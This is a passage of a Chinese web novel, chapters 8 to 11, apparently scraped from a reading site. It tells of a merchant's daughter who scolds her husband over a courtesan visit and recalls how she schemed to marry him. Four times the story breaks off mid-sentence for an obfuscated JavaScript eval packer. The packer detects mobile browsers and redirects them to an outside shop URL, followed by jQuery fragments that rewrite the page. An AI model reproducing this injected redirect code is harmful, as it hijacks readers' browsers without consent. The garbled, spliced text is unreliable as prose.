马车内这小小一方空间,吵架都不够她施展的。
现在,道具齐备,卧室里也只有她们夫妻二人,没有一个外人,她们可以好生吵一吵了。
“江明亭,你还记得你昨晚答应了我什么?”
江明亭:“绝不沾染别的女人。”
沈映秋扬起鸡毛掸子抽了他一下,“那你是怎么做的?昨天才说过的话,今天就忘了?!”
江明亭:“秋娘,你听我说——”
沈映秋:“那你倒是说啊,认个错都磨磨唧唧的,你是要气死我啊!”
江明亭赶紧竹筒倒豆子般将自己为何会去柳园的经过说了出来。
“……秋娘,你信我,一开始我也不知道那柳园是什么地方——”
沈映秋听得心头火起,“一开始不知道,那后面呢?后面知道了,你还留下来?还跟里头的姑娘喝酒调情?我找过去的时候,你跟她都快要亲上了!”
江明亭断然否认:“没有!我怎么可能会亲她呢?秋娘,我从始至终爱的只有你——”
他膝行两步,试图握住她的手表明自己的心意。
沈映秋:“你给我跪好!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222424|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江明亭却不听,即便被她拿鸡毛掸子抽,也非要抓着她一只手,还把脑袋靠在她腿上。
沈映秋挣了挣,没能挣开,鸡毛掸子一丢,使劲儿拧了拧他的耳朵,“江明亭,我给你脸了是吧?问题还没交代清楚呢,你给我起开!”
江明亭咕涌着爬到床上来,死皮赖脸地搂住她的腰,“秋娘,你还想知道什么,我都告诉你,绝不隐瞒。”
沈映秋冷笑一声,“你跟那个姑娘都做了什么?”
江明亭:“秋娘,我发誓,我跟长盈姑娘之间是清白的,我之所以留下来,是刘兄说长盈姑娘颇为善解人意——”
沈映秋忍了忍还是没能忍住:“一口一个长盈姑娘,叫得真是亲热啊,她善解人意,我就是无理取闹是吗?”
江明亭:“秋娘你误会了,我跟长盈,跟柳三姑娘真的什么也没有,而且善解人意是刘兄说的,我一点也不觉得你无理取闹,你在我心里就是最好的。”
沈映秋哼了声,情绪勉强被他这番话安抚下来,“这个刘远志真不是个东西,自己去寻欢作乐也就算了,现在还要把你带坏。以后你尽量别跟他接触。”
让江明亭完全不跟刘远志接触也不可能,毕竟刘远志是刺史之子,池州这地界上的首席官二代。
江明亭这个郡守公子怎么可能完全避开他呢?
江明亭继续坦白:“刘兄说柳三姑娘最擅长揣摩人心,我可以向她请教一下如何讨你开心,毕竟你们同为女子,心思总是要相通一些。”
沈映秋:“然后你请教着请教着,就跟她抱到一块儿去了?”
江明亭:“不是!秋娘,我对柳三姑娘是以礼相待的,她听了我是如何惹得你生气后,起身向我赔了个礼,我不明所以,她说她就是昨天从酒楼窗口丢出那片枫叶的女子,当时她戴着面纱,故而我没认出她来。
“她说没想到自己丢掉的一片枫叶会引得我们发生争吵,很是过意不去,亲自为我斟了杯酒,向我赔罪。”
沈映秋:“你喝了?”
江明亭:“我见她颇为诚心,也不好驳了她的面子,想着一杯酒而已,喝了也无妨。”
沈映秋冷嗤,堕落就是这样开始的。
江明亭被她的态度搞得颇为忐忑,小心觑了她一眼,“秋娘,你生气了?”
沈映秋有时候真的很烦他的明知故问,她生气了这不是显而易见吗?
她冷着脸朝搓衣板一指,“去跪着。”
江明亭最怕她冷脸了,也不敢再痴缠造作了,乖乖下去跪着。
“喝完酒之后,柳三姑娘便向我提议对你投其所好,买些你喜欢的东西送给你,我说你什么也不缺,她便又向我提议,既然你什么也不缺,那缺的便是心意了。
“我可以亲手为你做一些事,比如为你洗手作羹汤,为你雕刻一根簪子……她说,如果有一个男子肯亲手为她做这些,她定然会十分感动,便是有再大的气也会散了。”
沈映秋:呵呵。
江明亭:“我觉得她说得很对,谢过了她,便想离开,这时柳三姑娘却落了泪,我一看见女子落泪就不知所措了,方才她还帮了我,若是我装作没看见就这样直接离开,未免显得太过无情了些。”
沈映秋神色冷淡:“所以你就留了下来,安慰她,对吧?”
8. 第8章
她这般反应,让江明亭心里愈发没底,但还是硬着头皮说了下去:“也,也算不得安慰,我只是问她怎么了,可是遇到了什么难事?
“柳三姑娘默默拭去脸上的泪痕,无论如何也不肯说,只催我走,让我早点解开你的心结,别再惹你生气了。
“最后还是刘兄告诉了我柳三姑娘暗自垂泪的缘故,原来她之前与一男子两情相悦,还将自己攒下来的钱都给了那男子,资助他读书科举。”
沈映秋用脚指头都能猜到后续的剧情,“结果那男子一朝高中就翻脸不认人了,觉得柳三姑娘身份低贱,配不上他,对不对?”
江明亭惊讶:“秋娘,你怎么知道?”
沈映秋:“猜的。”
前世这种剧情她看得多了。
江明亭赞叹道:“秋娘,你猜得真准。柳三姑娘伤心绝望之下,将那男子曾经送给她的定情之物——也就是那片写有诗句的枫叶给丢弃了,决心不再念着他。
“只是到底曾经刻骨铭心地相爱过,她又怎能轻易地忘却他呢?见到我与你吵架,她不由得想起了从前与那男子的过往,触景伤情,所以忍不住落泪。
“后来,柳三姑娘给我们讲了她的身世——
“‘我三岁就没了娘,跟着爹相依为命,后来我爹重病,我不得不努力赚钱给我爹买药,但我爹还是走了,那时候我才十岁,幸好我遇到了柳娘子,被她收为了干女儿,住进了柳园。’
“‘柳妈妈供我衣食无忧,还请人来教授我琴棋书画这些技艺,让我过上了以前想都不敢想的日子。如今我虽入了贱籍,成了寻常人看不起的角妓,但于我而言,这样的日子已经很好了,我很感谢柳妈妈。’”
沈映秋:真是好一个痴情、善良又悲惨的可怜女子啊。
若非她也深谙卖惨之道,她还真的信了。
她一个商户之女,何以能嫁给江明亭这个郡守家的公子呢?
除了真心之外,自然也少不了套路。
被宋铮皎带入她的圈子后,她便认识了不少宣城高官名流圈子里的夫人小姐,但也仅限于认识罢了,人家根本不带她玩儿的。
有一次宋铮皎举办了一场赏花宴,邀请了宣城各家未婚的适龄青年男女来赏花,实际上这就是一场相亲宴。
沈映秋也应邀前往,一如既往地,在宴会上遭受了冷落。
被排挤倒不至于,因为那些人压根儿就不屑于搭理她。
沈映秋也不以为意,专心物色起自己的目标来,然后一眼相中了人群中郎艳独绝、积石如玉的江明亭。
选在他落单的时候,在他的必经之路上对花垂泪。
正如江明亭自己所说,他最见不得女子流泪,于是上前询问她出了什么事。
就这样,沈映秋和他有了第一次近距离的接触。
之后,她靠着各种卖惨在他这里博取怜惜,比如她身为商户之女被人轻视啦,没人肯和她玩啦,再比如她被有权有势的纨绔搭讪调戏,却不敢报官啦,诸如此类。
靠着卖惨,她获得了他的同情和怜惜。
而这,也是男人沦陷的开始。
如今,这个柳三娘竟也想走她的老路。
沈映秋并不感到奇怪,她只是弄不明白,为何刘远志要配合柳三娘,甚至协助她呢?
破坏了她们夫妻之间的感情,对他有什么好处吗?
难道他自己和皎皎夫妻关系不和谐,便见不得她和江明亭鹣鲽情深吗?
“然后呢?”沈映秋神色冷淡地问。
江明亭:“刘兄说,让我们敬柳三姑娘一杯,希望她能度过情关,走出阴霾。这杯酒下肚后,我便有些醉了,这个酒后劲儿着实有些大,我想起身离开来着,身体却不听使唤。
“柳三姑娘将我扶到了榻上躺下。”
还给他脱去了鞋子,拧了帕子给他擦脸擦手。
但他没说出来,因为他怕秋娘吃醋生气。
“还让婢女喂我喝了醒酒汤,我过意不去,就将钱袋子扯下来给了她,她将攒下来的银钱都给了那个负心汉,身上定然不剩多少银钱了。”
说到最后,江明亭的声音渐渐小了下来。
他其实不想说出这个,但钱袋子给了柳三姑娘是事实,以后秋娘问起来,他定然瞒不住,还不如现在就交代出来。
沈映秋忽然有些心累,往身后一靠。
当初她靠着套路将江明亭拿下,如今别的女人也将套路施展在他身上了,他照旧中了招。
这是老天对她的惩罚吗?
还是说,她当初选择用套路将他拿下,就注定了她今日会遭遇这种境况?
“我困了,你出去。”沈映秋有些心灰意冷地道,也没看他。
江明亭顿感恐慌,他宁愿秋娘跟他吵,惩罚他,打他,也不愿她露出这般冷淡的神情。
“秋娘,我知道错了,真的,以后我绝不再踏入柳园一步——”
沈映秋忽然爆发了,拿起床头柜上的狸猫蹴鞠玉簪朝他砸了过去:“你是听不懂人话吗!我让你出去!”
江明亭没能及时接住玉簪,导致它落在了地上,摔得四分五裂。
玉碎的清脆声响令两人同时一怔。
江明亭缓缓蹲下身,将碎裂的玉簪一段段捡了起来。
看到这一幕,沈映秋不由得心软了一瞬,想说些什么,但终究没有开口。
江明亭用帕子将碎玉簪包了起来,“秋娘,我出去,你别生气,免得伤身。”
一步三回头地走了。
沈映秋一头倒了下去,拉过被子将自己包裹了起来。
从屋里出来,江明亭看见窗下趴着个婆子,侧着耳朵似乎在偷听。
“你干什么?”
秦婆子吓了一跳,忙堆起笑脸道:“二爷,我没干啥,我要去上茅房来着,天黑看不清路,不晓得咋就走到这儿来了,我这就走,这就走。”
之后,便有了秦婆子去萱辉堂,向江夫人汇报的一幕。
江夫人听完秦婆子一五一十、活灵活现的讲述,咕哝了句:“上梁不正下梁歪,以后老二媳妇有的苦头吃了。”
*
“秋娘,秋娘……”
沈映秋耳朵里灌入了江明亭催魂似的呼唤,被迫醒过来。
对他的气本就没消,这下又添一层起床气。
她抄起怀里的抱枕就朝他砸过去,“干什么!”
江明亭这回准确接住了枕头,轻轻放回去,在床边坐了下来,看着她晨起暴躁的模样,觉得甚是可爱,像一朵怒放的芙蓉花,活色生香。
想亲一亲她的脸,又怕被她打。
于是将手轻轻搭在她肩膀上,试探地凑近了些,柔声道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222425|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“昨晚我想了一夜,明白过来我实在是错得离谱,一错在明知刘远志是个浪荡风流之人,却还跟着他走,最后被他带进了柳园;二错在知道了柳园是个什么地方后,没有立刻离开,反而滞留了下来;三错在——”
沈映秋原本正听得入神呢,觉得他这番认错颇为诚心,心里舒服了不少。
哪知他说着说着就亲了过来,“秋娘,我好想你。”
沈映秋:“……”
推开他吧,他方才的表现确实不错,她这会儿不是很能狠得下心。
那就接受然后沉浸其中?可他刚才明明是在认错来着!
她的心情一时被搞得不上不下的,卡在中间,很是难受。
这么一想,她又生气了。
逮住他的舌头咬了下去。
“啊!”江明亭疼得立马退了回去,捂着嘴,泪眼婆娑地望着她,模糊不清地问:“秋娘,你为何咬我?”
沈映秋:“哦,不小心咬到的。”
江明亭:“……”他明明感觉她就是故意的,但是他不敢说。
沈映秋彻底清醒了,拥着被子坐起身来,“三错在哪儿了?”
江明亭重新酝酿了下,“三错在我不该同情柳三姑娘,她的遭遇不是我造成的,我没必要感到愧疚怜惜,更不该和刘远志一起向她敬酒。”
沈映秋神色满意,心里彻底舒坦了,摸了摸他的脸,奖励般在他脸颊上亲了口,“知错能改善莫大焉,夫君,你能意识到这些错误,我很高兴。”
江明亭心情一振,“秋娘,我还没说完呢。”
沈映秋:“哦?还有?那你说吧。”
她做出洗耳恭听的架势。
江明亭:“四错在不该贪杯,喝醉之后身体不听自己使唤,几乎要任人摆布了,实在误事,以后我在外绝不多饮酒。”
沈映秋这下是真的感到欣慰了,倾身抱住他,“明亭,你知道吗?我爹就是因为长期大量饮酒,导致肝脏鼓胀(相当于肝硬化晚期),没能治好去世了,我不希望你也步他的后尘,你要好好的。”
江明亭十分动容,紧紧抱住她:“秋娘,你放心吧,以后在外,我饮酒绝不超过三杯。”
沈映秋:“嗯我信你。”
至此,两人算是说开了。
江明亭趁机提出:“过几天我休沐,到时我带你去游湖可好?之前你就想去的,结果因为怀孕,后面又……就没去成。”
“游湖”二字撬动了沈映秋的记忆……
那会儿她还没和江明亭成亲,处于暧昧阶段,有一次她听说江明亭在游湖——
实际上是她派了人专门盯着江明亭,好方便掌握他的行踪。
得知消息后,她特意打扮了一番,戴上了自己设计的鲛人泪耳坠——耳坠形似人鱼,鱼尾以金丝绞成,上端是粉莹莹的天然珍珠,形状并不十分圆润,而是水滴形状,像是鲛人的上半身,又仿佛是鲛人承托起的一颗泪滴。
传说中鲛人可以泣泪成珠,她的设计灵感正是来源于此,故而将这对耳坠命名为“鲛人泪”。
两滴鲛人泪在她颊侧盈盈晃动,愈发衬得她肤如清雪,娇艳动人。
她身上的裙子也是桃花粉,整个人打扮得美美地去游湖了,想跟江明亭来一场唯美的邂逅。
结果遇是遇上了,但这场邂逅只实现了一半。
9. 第9章
江明亭不是一个人来游湖的,同行的还有几个同窗,有外人在,沈映秋自然没法施展她的套路了。
只能让船夫撑着船跟在江明亭他们身后,一路尾随,寻找机会。
机会还真被她给等着了。
江明亭的一个同窗将自家猫也带来了,塞进了衣襟里,小猫从衣领里探出一颗毛绒绒的小脑袋,冲着几人细声细气地叫唤着,可爱极了。
其他人都觉得小猫可爱,上前逗弄。
唯有江明亭,竟似被那只小猫给吓到了,连连后退,退至船舷边,脚下一个不稳,仰面摔下了船,掉入了湖中。
事情发生得太突然,那几个同窗一时都愣住了。
而落入湖中的江明亭挣扎几下后就一沉到底了,他竟然是个旱鸭子。
这还等什么?这不是老天送上门来的“美救英雄”的机会吗?
沈映秋果断跳入水中,朝着江明亭游去,将他救了上来,拖到了自己的船上。
被她救了的江明亭有两个选择——
一是以身相许,如此一来既全了她的名节,也报答了救命之恩。
二则是送些钱财给她,毕竟是她主动跳入湖中救他的,那么就得承担起救人的后果来,而被救的江明亭没必要因为救命之恩而搭上自己的一生。
跳入湖中之前,沈映秋就想到了这两种可能的后果,而对于前者,她的把握只有四成。
若只是江明亭自己,他估计不用多想就选择以身相许了,因为那会儿她已经靠着各种套路将他诱得对她动了心,两人差的只是捅破那层窗户纸而已。
但江明亭不只是他自己,他还是郡守家的公子,而她只是商户之女。
古代讲究士农工商,不管商户生意做得再大,钱赚得再多,在士族官员面前,始终要矮上一头。
两人身份悬殊,她若想嫁给他,首先得解决这个问题。
就在这时,老天又来助攻了。
她大侄子沈令昌的科举成绩下来了,他高中举人了!
以十七岁的年纪,在一众二三四五六十的考生中杀出了重围,成了整个宣城、乃至池州最年轻的举子。
轰动了整个池州。
这件事所引发的效应是巨大的,对沈映秋而言,她作为沈家女,身份被拔高到了一个新高度。
不过这是她应得的,沈令昌能考中举人,她居功至伟。
其实一开始她并没想着靠嫁人来实现阶层跃迁,而是萌生过女扮男装、科举当官的想法。
自己当官掌握命运,听起来就比通过嫁人实现阶级跨越要来得爽。
但是了解了一番这个朝代的科举制度后,她就打消了这个不切实际的想法。
要参加科举,首先得获得当地至少五个举人(实在凑不齐举人,秀才也可以)的联名保荐,让他们给你的身份、才学背书。
若是日后你出了什么问题,比如科举作弊,那么这五个保荐人是要被连坐的。
这一关就不太好过。
不过也不是没法子,送礼送人情就能实现。
难的是科举进考场之前的搜查,科举的第一场考试是童试,每年的童试基本都在五六月份,这个时候正是天气炎热之时,大家都穿得轻薄。
检查时衙隶会让考生脱得精光——反正天气炎热不怕冻,反正大家都是男的不怕被看——然后将考生从头发丝到脚趾缝都仔仔细细地检查一遍。
这种情况下,沈映秋怎么可能瞒得住自己的女儿身?
既然无法靠科举改变阶层,那就只能靠嫁人了。
这就又回到了先前的问题。
她要嫁一般的人家,不难,难的是嫁给江明亭这样的官二代。
为了拔高自己的身份,好更容易高嫁,沈映秋说服大哥沈诚花二十万两银子买了个官。
当然,买官卖官的说出去不好听,所以叫捐官。
捐的是个什么官呢?
一个六品的左降官,只有官名,没有任职,也就是所谓的虚职,对外称“员外”,没有俸禄,传说中的花钱当官就是这种了。
二十万两银子可不是个小数目,一个上等县一年的税收也就是这个数了。
沈家虽富,但也没富到能拿二十万两银子来挥霍的地步。
不过经过她的一番说服,沈家还是拿出了这笔钱。
“大哥你当了官之后,咱家从此就改换门庭了,不再是商户了,而是官户了,以后您出门谈生意,谁不高看您一眼?
“商户之子不得科举,您当了官之后,昌儿就能读书参加科举了,以后他若是能考中进士当上正经的官,那就是真正的光耀门楣了,沈家的列祖列宗也会感到欣慰和骄傲……”
其实这些道理沈诚都懂,他之所以犹豫,只是舍不得一下子花出去二十万两这么大一笔钱。
别看沈家豪富,但其实每年赚的钱,有六成都要孝敬出去。
即便买了个虚职,以后也不能不孝敬啊。
不过思来想去,沈诚还是一咬牙,捐了官。
他就是不为着自己考虑,也要为儿子、为子孙后代考虑,她们沈家,不能一直是商户!
捐了官后,沈家就由纯粹的商户,一跃而成为官户了,虽然这个官户水分很大,但说出去也挺能唬人的。
沈映秋这个沈家之女的身份,也跟着水涨船高。
但这还不够,在真正的官员眼中,沈家依然不入流。
于是接下来沈映秋又将目光放在了沈家的二代,嫡长孙沈令昌身上,开始了鸡娃。
她和沈令昌名为姑侄,但更像是是兄妹,因为她是沈父的老来女,她大哥的年龄都够给她当爹了,这也就造成了沈令昌这个大侄子比她还要大一岁。
她一面用姑姑的长辈身份来压制沈令昌,使出激将法,激他读书苦学,
一面仗着比他小一岁毫无压力地向他撒娇,吹彩虹屁。
简而言之,就是打一棒子给一颗甜枣。
沈令昌被她套路得在勤学苦读的路上一去不复返。
再加上沈映秋有着丰富的考试经验,她给沈令昌搜集了一套“三年科举、五年模拟”的学习资料,又专门请工匠在家里建了两个科举的号子间,三五不时就将沈令昌赶进去,实地体验一下科举的环境。
为了让沈令昌心甘情愿地进去,她自己也会在旁边的号子间陪考。
总之,他学的东西她也都跟着学,他吃的苦她也一分不少地吃了。
“我都能学会的东西,你学不会?亏你还是个男子汉,亏你还比我大一岁……”
“这也叫苦?我一个姑娘家都能忍受,你有什么忍受不了的?我看你就是吃不了苦,在为自己找借口。”
“天哪!昌儿你好厉害,这么晦涩难懂的文章,看一遍就记下了,我得背好几遍呢。”
“昌儿今天学了这么久,累了吧?来,喝碗甜汤补补脑子,这可是姑姑亲手为你熬的。”
……
五年,整整五年时间,她光干两件事去了,一件是给自己挑选夫婿,再一个就是陪读鸡娃了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222426|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
最终,功夫不负苦心人,她的大侄子沈令昌一下场,就接连拿下了秀才和举人的头衔。
收获了无数夸赞与荣耀。
十七岁的举人,意味着远大的前程,意味着无限的可能,沈家真正开始崛起了。
在这个节骨眼儿上,江明亭的父亲,宣城郡守江大人,亲自登门来致谢,感谢沈映秋对他儿子的救命之恩。
并向沈家提了亲,要为二儿子江明亭聘沈家女沈映秋为妇。
就这样,沈映秋成功与江明亭定了亲,实现了一半的目标。
往事历历在目,沈映秋不禁想得出了神。
江明亭伸手在她眼前晃了晃,“秋娘?秋娘——”
沈映秋回过神来,“啊?哦,你说去游湖是吧,好啊,我早就想去游湖了。”
就当看在曾经那场游湖的份上吧。
希望到时候天气好一些。
*
转眼三日过去。
明天就是休沐日了,一放学江明亭就迫不及待出了教室,出了书院,骑上马往家里赶。
明天他就能和秋娘一道去游湖了。
他归心似箭,奈何街上人太多,他没法纵马疾驰,骑马的速度还比不上走路,只好下了马,牵着马儿从人群的缝隙里穿过。
“江公子。”
身后传来一声娇柔婉转的呼唤。
江明亭身体一僵,装作没听到,头也不回,继续往前走。
“江公子等等,江公子——哎呀!”
身后的痛呼声终究还是绊住了江明亭的脚步,他顿在了原地,回过了头。
身后不远处,柳长盈正弯腰揉着脚踝,脸上戴着面纱,露出来的眉痛苦地蹙着。
“你怎么了?”江明亭上前询问。
柳长盈抬起头,一双湿润的眸子望着他,似乎下一瞬就要哭出来。
“江公子为何不理我?”
这眼神看得江明亭心里一揪,生出了一股愧疚。
“我,我没听见。”
柳长盈眉眼弯了弯,“看来是我误会公子了,我还以为你是故意不理我呢。”
江明亭心虚地垂了垂眸,注意到她站立姿势不太正常的左脚,“你的脚……”
柳长盈:“不碍事,方才走得急,崴了一下而已。”
她显然是方才为了追上他,一不小心崴了脚,她却丝毫没有怪他,这让江明亭愈发过意不去了。
“要不,我送你去医馆看看吧?要是伤到了骨头就不好了。”
柳长盈:“真的不碍事,我到旁边的茶楼去坐着歇一歇就好了。
“江公子,其实我刚才叫你,一是想当面对你说声谢谢,你和之前来柳园的那些客人都不一样,丝毫没有看不起我,我感觉在你面前时,我不再是一个供人取乐的玩物,而是一个活生生的人。”
她冲他笑了笑,一双含情美目笑中带泪,潋滟晶莹,叫人心头也跟着酸软起来。
江明亭忙道:“柳三姑娘言重了,你本来就是一个活生生的人,以后切勿自轻自贱。”
柳长盈轻轻点了点头。
“二来,我想问问你,贵夫人可原谅你了?”
说起夫人,江明亭神情便变得雀跃快活起来,“夫人已经不生我的气了,还答应明日和我一起去游湖呢。”
柳长盈眸光微闪,“是吗?那真是太好了。”
话毕,她也不再多言,欠身向他盈盈施了一礼,告辞了。
谁知走了没两步,她脚下一歪,摔到了地上。
10. 第10章
江明亭本来已经准备转身离开了,见状哪里能视若无睹直接走人呢?
快走两步上前,伸出一只手臂,给柳长盈当拐杖,撑着她站了起来。
“江公子,多谢。”一起身,柳长盈就松开了他。
江明亭:“看来你的脚伤得还是有些重,连路都走不了了,你的丫鬟呢?”
柳长盈:“莺儿就在茶楼里候着我呢,我是看见江公子打马经过,故而下来打声招呼。”
江明亭:“那我扶你进茶楼吧。”将人交给她的婢女后,他就能没有心理负担地离开了。
柳长盈:“实在麻烦江公子了。”
“无妨。”
进了茶楼包间,江明亭将柳长盈交给她的丫鬟莺儿,莺儿扶着柳长盈坐下来。
江明亭告辞,转身离开。
然而才走到门口,身后传来莺儿的一声惊呼:“姑娘,你的耳坠怎么少了一只?”
柳长盈下意识摸了摸耳垂,上面果然空了,神色惊惶:“刚才还好好戴着的……”
莺儿:“肯定是方才您下去的时候不小心掉了,您坐着吧,我下去找找。”
江明亭并未多留,在他看来,掉了一只耳坠只是小事,即便找不到也没甚大不了的,倒是柳三姑娘崴了的脚,得尽快就诊才是。
莺儿从雅间一路找到了茶楼外。
江明亭解开茶楼前系马桩上的缰绳。
听见不远处莺儿口里喃喃念叨着:“怎么办?另一只耳坠到底在哪里?要是真的丢了,回去了我跟姑娘可都没有好果子吃……”
江明亭上马的动作一顿,忍不住开口询问:“莺儿姑娘,不过是一只耳坠而已,若当真找不到,再买一副就是了,何以会没有好果子吃呢?”
莺儿急得都快要哭了,听他这么说,没好气道:“江公子,您可真是站着说话不腰疼,您别看我们姑娘绫罗绸缎、满头珠翠的,实际上她身上穿的、头上戴的,没有一件是她的,那些东西都是柳妈妈的,只是暂时借给我们姑娘充作行头罢了。
“回去之后那些东西都要原样归还,若是少了别的倒还罢了,偏生我们姑娘今天戴的那副耳坠子不一般,上头镶嵌的一对粉珍珠可是稀罕物,价值好几百两银子呢,如今丢了一只,柳妈妈哪里会绕过我们?”
粉珍珠耳坠……江明亭记得秋娘成亲前也有一对粉珍珠耳坠,跟柳三姑娘的那副似乎差不多。
只不过她的耳坠太多了,几乎每日都不重样,成婚后就没见她戴过那副了。
江明亭问:“柳妈妈会罚你们吗?”
莺儿:“罚还是轻的,就怕柳妈妈一气之下把我们给卖了,当然了,我们姑娘如今正当红,柳妈妈指着她赚银子,应当不会卖了她,顶多会将她关进暗室里。
“可是姑娘最怕黑,那暗室里黑乎乎的,伸手不见五指,睁眼不分日夜,里头还有不少虫子老鼠爬来爬去……以前姑娘被关过一次,出来后人就跟丢了魂似的,晚上也不敢关灯一个人睡了,一点小动静就能吓得她尖叫。
“这一次也不知道姑娘能不能扛过去……”莺儿满脸忧虑。
一抬头,见江公子面色惨白,嘴唇哆嗦着,吓了一跳,“江公子,你怎么了?”
江明亭胡乱应对着:“我没事,你让你们姑娘等我会儿,我去去就来。”
转身上了马,逃也似地离开了。
眼前的景物不断后退,模糊了他的视线,往事一幕幕浮现而出。
小时候他犯了错,甚至没犯错,只是惹了母亲不高兴,母亲就会将他关进柴房里,命人紧闭门窗,不给他水喝,不给他饭吃。
这些倒还好,可怕的是,一到晚上,柴房里就会变得黑乎乎的,角落里还会传来窸窸窣窣的声响。
有一次他靠在柴垛上睡着了,一觉醒来,眼前飘着两团绿幽幽的鬼火,那鬼火还冲他发出了尖利刺耳类似婴儿啼哭一样的声音。
他吓得晕了过去。
醒来后已经不在柴房里了。
后来他才知道,他在柴房里看见的是一只猫。
自此他就对猫避之唯恐不及,不管它们看起来有多么可爱软萌,他看见猫,脑子里浮现出来的始终是那鬼火一般的形象。
秋娘也看出来了,所以尽管她很喜欢猫,却也很少在他面前提及,更没说过要在家里养猫的话。
他感念于她对他心情的照顾,愈发想要补偿她了,所以时常会给她买有狸猫图案的物件。
比如上次那支狸奴蹴鞠玉簪。
方才听莺儿说柳三姑娘被关暗室的情形,他过往的记忆被勾起,瞬间便感同身受了。
他无法救小时候的自己,但起码可以让柳三姑娘免于柳娘子的责罚。
回了家,江明亭原本打算将事情一五一十地告诉秋娘,再询问她的意见,谁知秋娘并不在院子里。
“夫人去哪儿了?”他问廊下斗草的几个小丫鬟。
银果脆生生答:“二爷,夫人被老夫人叫去打牌了。”
要问江夫人最喜欢跟谁打牌?那自然是沈映秋这个小儿媳了。
她嫁妆丰厚,身上不知有多少银钱傍身,江夫人身为婆母,虽不好明面上讨要儿媳妇的嫁妆,但她可以从她那里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222427|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赢钱啊。
赢来的都是她的!
而且啊,老二家的打牌技术实在烂,手气也差,每回都要输好些钱给她。
她最爱找她打牌了。
江明亭一听,就知道不到晚上秋娘是回不来了。
母亲不会那么早放她下牌桌。
他便自己进了里屋,在秋娘的梳妆台上寻找起来。
台面上的三层妆匣里装的都是她日常用的首饰,一打开,金银珠玉满目琳琅,珠光宝气晃人眼,光是耳坠就有一抽屉。
但其中并无那副粉珍珠耳坠。
他又打开了梳妆台下面的抽屉,第一个抽屉里的是各式各样的簪子钗环,第二个是项链项圈,第三个才是耳坠。
每一副耳坠都十足精致漂亮,装在专门的小匣子里,他开了不少匣子,终于找到了那副粉珍珠耳坠。
几年过去,这副耳坠依然粉润晶莹,被屋中的烛火一照,便自然晕染出绚烂的彩光来。
即便江明亭对首饰这些东西不了解,也知道这副耳坠工艺精湛,价值不菲。
最重要的是,这副耳坠和柳三姑娘戴的那对几乎一模一样。
秋娘有这么多耳坠,戴都戴不过来,他暂时将这副耳坠拿走,给柳三姑娘应一下急,只要他赶在秋娘发现之前拿回来,想来就不会有事了。
再次来到茶楼,江明亭将一枚精致玲珑的绿色锦盒交给柳长盈,“柳三姑娘,你看看这里面的耳坠,与你所戴的是否一样。”
柳长盈接过来,打开一看,眼底深处划过一抹迷恋和陶醉,这副耳坠真是太美了!
她将自己耳垂上落单的那只耳坠摘下来,和匣子里的比对了下,“乍一看,还以为是我掉的那只呢,真是太像了。江公子,你是从哪里找来的?”
江明亭下意识找了个借口,毕竟偷拿夫人的首饰说出来不太好听,“这是我买来打算送我夫人的,但还没来得及送出去。”
柳长盈:“那我怎么能收下呢,江公子,你还是快收回去吧。”
她这话一出,江明亭便知她是误会了,自己并没有要送给她,可若是特意否认的话,倒显得他小气了。
也罢,那就送给柳三姑娘吧,他再找人打一副一模一样的,偷偷放回去,秋娘应当不会发现。
“无妨,柳三姑娘,比起我,还是你更需要这副耳坠,我还有事,就先告辞了。”
柳长盈来到窗边,看见江明亭出现在视野里,脸上露出一抹意味不明的笑容。
又看了眼锦匣里的耳坠,莹白手指拨弄了下那粉莹莹的珍珠,真美啊,现在是她的了。
11. 第11章
清晨,阳光似金丝,将屏风上的山水勾勒得明明灭灭,金光流转。
梳妆台上,美人瓶里插着一支粉嫩清滟的桃花。
近日春风醺暖,吹开了园子里的桃花,一早金婵领着小丫鬟去摘了几支回来插瓶,屋子里也跟着春意盎然起来。
沈映秋坐在梳妆台前,手里拿着一支细细的画笔,打算给自己画一个应景的桃花妆。
只是画了好几次,不是画粗了,就是画歪了,令她不是很满意。
正烦躁间,一双手搭在了肩上,镜中她的脸旁出现了另一张如玉的俊脸。
